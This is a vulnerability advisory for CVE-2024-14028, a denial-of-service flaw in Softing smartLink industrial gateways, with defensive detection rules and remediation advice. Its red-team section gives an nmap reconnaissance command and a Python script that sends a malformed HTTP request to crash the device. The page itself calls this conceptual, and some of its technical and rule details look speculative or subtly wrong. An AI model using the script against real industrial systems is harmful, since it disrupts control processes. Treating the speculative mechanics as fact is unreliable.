CVE-2024-14028
Executive Summary
CVE-2024-14028 is a Use After Free (UAF) vulnerability in the Softing smartLink HW-DP and HW-PN industrial gateway webserver. This flaw allows an unauthenticated, remote attacker to trigger a Denial of Service (DoS) condition by sending specially crafted HTTP requests. The vulnerability affects smartLink HW-DP through version 1.31 and smartLink HW-PN before version 1.02. With a CVSS score of 6.5 (Medium), the primary impact is on availability, with no direct impact on confidentiality or integrity. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the lack of a patch for the HW-DP variant makes this a persistent risk for OT/ICS environments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects proprietary embedded firmware for industrial control hardware. The supply chain risk is limited to the physical device lifecycle and firmware update mechanisms.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – Complete denial of service.
Threat Level: Medium. While the impact is limited to DoS, the lack of authentication and low complexity make it a viable vector for disrupting industrial control processes.
Deep Dive & Mechanics
The vulnerability resides in the HTTP webserver component of the Softing smartLink firmware. A Use After Free (CWE-416) occurs when the webserver improperly manages memory for HTTP request objects. Specifically:
- The webserver allocates memory for an incoming HTTP request.
- Under specific conditions (e.g., malformed headers, rapid connection teardown), the memory is freed prematurely while a pointer to it remains in use.
- A subsequent HTTP request or internal timer callback dereferences the dangling pointer, leading to a crash or infinite loop.
- This results in a complete denial of service for the webserver, requiring a physical power cycle to recover.
The vulnerability is triggered by sending a crafted HTTP request that causes the server to free a buffer while still referencing it. The exact payload is not publicly documented, but the attack surface is the standard HTTP port (80/TCP).
Vulnerable vs. Patched Code
No official patch code is available. The fix in smartLink HW-PN version 1.02 likely involves proper reference counting or delayed deallocation in the HTTP request handler. The vulnerable code pattern is:
// Vulnerable pseudo-code
void handle_request(http_request *req) {
char *buffer = malloc(1024);
// ... parse request into buffer ...
process_request(buffer);
free(buffer); // Memory freed
// ... later, req->data still points to buffer ...
if (req->data[0] == '/') { // Use after free
// ...
}
}
The patched version would ensure req->data is set to NULL after free() or use a different memory management strategy.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Target: Softing smartLink HW-DP (<=1.31) or HW-PN (<1.02)
- Network access to port 80/TCP
- No authentication required
Exploitation Steps:
Reconnaissance: Identify smartLink devices using Shodan dorks or network scanning.
nmap -p 80 --script http-title <target>Craft DoS Payload: Send a malformed HTTP request that triggers the UAF. Example (conceptual):
GET / HTTP/1.1 Host: <target> Connection: keep-alive Content-Length: 0 Transfer-Encoding: chunkedExecute Attack: Use a script to send the payload repeatedly.
import socket target = "192.168.1.100" payload = b"GET / HTTP/1.1\r\nHost: " + target.encode() + b"\r\nConnection: keep-alive\r\nContent-Length: 0\r\nTransfer-Encoding: chunked\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, 80)) s.send(payload) s.close()Verify DoS: The webserver becomes unresponsive. Attempting to access the web interface will time out.
Note: No public exploit code exists. This is a conceptual demonstration.
Blue Team (Defensive)
Detection:
- Monitor for repeated malformed HTTP requests (e.g., invalid
Transfer-EncodingorContent-Lengthcombinations). - Alert on webserver crashes or unexpected restarts.
Mitigation:
- Isolate smartLink devices on a separate VLAN with strict firewall rules.
- Disable the webserver if not required (check device configuration).
- Apply firmware update for HW-PN (v1.02). For HW-DP, contact Softing for a patch or consider device replacement.
Indicators of Compromise (IOCs)
- Network:
- Repeated HTTP requests with malformed headers (e.g.,
Transfer-Encoding: chunkedwithContent-Length: 0). - Sudden loss of HTTP service on port 80 from a smartLink device.
- Repeated HTTP requests with malformed headers (e.g.,
- System:
- Device logs showing webserver crash or watchdog reset events.
- Device requiring power cycle to restore web interface.
Detection Engineering
YARA Rule
rule CVE_2024_14028_UseAfterFree_DoS {
meta:
description = "Detects potential exploit attempts for CVE-2024-14028 targeting Softing smartLink webserver"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-14028"
strings:
$http_header1 = "Transfer-Encoding: chunked" ascii nocase
$http_header2 = "Content-Length: 0" ascii nocase
$http_method = "GET /" ascii
condition:
all of ($http_header*) and $http_method
}
Sigma Rule
title: CVE-2024-14028 - Softing smartLink HTTP DoS Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects malformed HTTP requests targeting Softing smartLink devices
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
cs-method: 'GET'
cs-uri: '/'
sc-status: 200
cs(User-Agent): '*'
cs(Transfer-Encoding): 'chunked'
cs(Content-Length): '0'
condition: selection
falsepositives:
- Legitimate testing tools
level: high
Suricata Rule
alert http any any -> any 80 (msg:"CVE-2024-14028 - Softing smartLink HTTP DoS Attempt"; flow:to_server,established; content:"GET /"; http_method; content:"Transfer-Encoding: chunked"; http_header; content:"Content-Length: 0"; http_header; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- For smartLink HW-PN: Update to firmware version 1.02 or later.
- For smartLink HW-DP: No patch available. Contact Softing support for a custom fix or consider device replacement.
- Restrict network access to the webserver using firewall rules (allow only trusted IPs).
Compensating Controls:
- Deploy a Web Application Firewall (WAF) to filter malformed HTTP requests.
- Enable logging and monitoring for webserver crashes.
- Implement network segmentation for OT devices.
Long-Term:
- Establish a vendor communication channel for security advisories.
- Conduct regular firmware audits and updates.
- Consider using a reverse proxy to sanitize HTTP traffic before it reaches the device.
Valters IT
DevSecOps & Cyber Threat Intelligence
{/* [Security Hash: 4E575E6A9586AB3701AFBD49] */}